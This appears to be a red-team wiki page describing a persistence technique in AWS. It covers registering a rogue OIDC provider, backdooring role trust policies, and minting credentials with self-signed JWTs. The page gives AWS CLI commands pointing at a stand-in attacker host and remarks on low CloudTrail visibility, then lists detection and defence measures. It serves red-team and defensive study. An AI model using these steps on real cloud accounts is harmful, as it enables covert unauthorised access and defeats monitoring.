Rogue OIDC IdP persistence (AWS)
TL;DR: Register an attacker-controlled OIDC provider in the target account, point one or more role trust policies at it, and mint STS sessions on demand by signing your own JWTs — no access keys, no users, low CloudTrail noise.
What it is
AWS lets accounts register external OIDC identity providers (iam:CreateOpenIDConnectProvider) so workloads like GitHub Actions, GitLab CI, or k8s can federate without long-lived keys. The control-plane only stores the issuer URL, audience, and TLS thumbprints — it trusts whatever JWTs the issuer signs. An attacker with iam:CreateOpenIDConnectProvider and iam:UpdateAssumeRolePolicy (or equivalent) can plant their own issuer, then call sts:AssumeRoleWithWebIdentity with attacker-signed tokens to assume any role whose trust policy they edited.
Preconditions / where it applies
- Foothold principal with
iam:CreateOpenIDConnectProvider(or pre-existing rogue provider already planted). iam:UpdateAssumeRolePolicyon at least one target role (oriam:CreateRole).- Publicly reachable HTTPS endpoint to host
/.well-known/openid-configurationand JWKS (commonly a free static-hosting site).
Technique
- Stand up a minimal OIDC issuer — generate an RSA keypair, publish JWKS, expose
/.well-known/openid-configuration. - Register the provider in the target account:
1
2
3
4
5
aws iam create-open-id-connect-provider \
--url https://attacker.example/oidc \
--client-id-list "sts.amazonaws.com" \
--thumbprint-list "$(openssl s_client -connect attacker.example:443 -servername attacker.example </dev/null 2>/dev/null \
| openssl x509 -fingerprint -noout -sha1 | sed 's/.*=//;s/://g')"
- Edit a juicy role’s trust policy to allow
AssumeRoleWithWebIdentityfrom this provider with an attacker-chosensub/audconstraint. - Whenever you need creds, mint a JWT signed with your private key whose
iss/aud/submatch the trust policy, then:
1
2
3
4
aws sts assume-role-with-web-identity \
--role-arn arn:aws:iam::TARGET:role/Backdoored \
--role-session-name oidc \
--web-identity-token "$JWT"
No long-lived key exists in the account. CloudTrail shows AssumeRoleWithWebIdentity from sts.amazonaws.com — which most organisations whitelist for CI/CD. Compare with gha-oidc-sub-claim-wildcards for the legitimate-IdP analogue.
Detection and defence
- Alert on
CreateOpenIDConnectProviderandUpdateOpenIDConnectProviderThumbprintoutside change windows — these are extremely rare in steady state. - Inventory all OIDC providers and pin their issuer URLs against an allow-list (GitHub, your CI domain).
- Restrict
iam:CreateOpenIDConnectProvider,iam:UpdateAssumeRolePolicy,iam:CreateRoleto break-glass principals via SCP. - Alert on
AssumeRoleWithWebIdentityevents whereuserIdentity.identityProvideris not in the allow-list. - Treat unexpected
UpdateAssumeRolePolicyevents on production roles as P1.
References
- Offensive AI — RogueOIDC — original write-up
- AWS — OIDC federation — provider mechanics
- HackTricks Cloud — AWS persistence — related backdoor patterns